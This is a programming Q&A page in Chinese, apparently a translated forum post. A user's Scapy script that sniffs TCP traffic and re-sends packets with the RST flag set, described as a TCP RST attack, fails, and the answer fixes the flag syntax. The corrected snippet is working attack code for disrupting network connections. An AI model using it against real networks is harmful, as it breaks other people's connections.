python-Scapy TCP RST攻击

我试图用Scapy编写TCP RST atack,但我的代码不起作用.请帮助我解决问题.

     from scapy.all import *

     def poison(packet):
         packet[TCP].flags='RST'
         sendp(packet)

     sniff(filter='tcp',prn=poison)

我认为标志有问题.有一个错误:

Traceback (most recent call last):
File “Univer.py”, line 6, in

sniff(filter=’tcp’,prn=poison)
File “/usr/lib/pymodules/python2.6/scapy/sendrecv.py”, line 559, in sniff
r = prn(p)
File “Univer.py”, line 3, in poison
packet[TCP].flags=’RST’
File “/usr/lib/pymodules/python2.6/scapy/packet.py”, line 186, in
setattr
self.setfieldval(attr,val)
File “/usr/lib/pymodules/python2.6/scapy/packet.py”, line 175, in
setfieldval
self.fields[attr] = any2i(self, val)
File “/usr/lib/pymodules/python2.6/scapy/fields.py”, line 785, in any2i
y |= 1 << self.names.index(i)

ValueError: substring not found

解决方法:

在Scapy中设置TCP标志的正确方法是使用短(一个字母)形式的数据包[TCP] .flags =’R’.在当前的Scapy开发版本中,您可以使用ls()获取接受的标志:

>>> ls(TCP, verbose=True)
sport         : ShortEnumField           = (20)
dport        : ShortEnumField           = (80)
seq            : IntField                           = (0)
ack            : IntField                            = (0)
dataofs    : BitField (4 bits)               = (None)
reserved  : BitField (3 bits)               = (0)
flags          : FlagsField (9 bits)          = (2)
               F, S, R, P, A, U, E, C, N
window    : ShortField                        = (8192)
chksum    : XShortField                      = (None)
urgptr       : ShortField                        = (0)
options     : TCPOptionsField            = ({})
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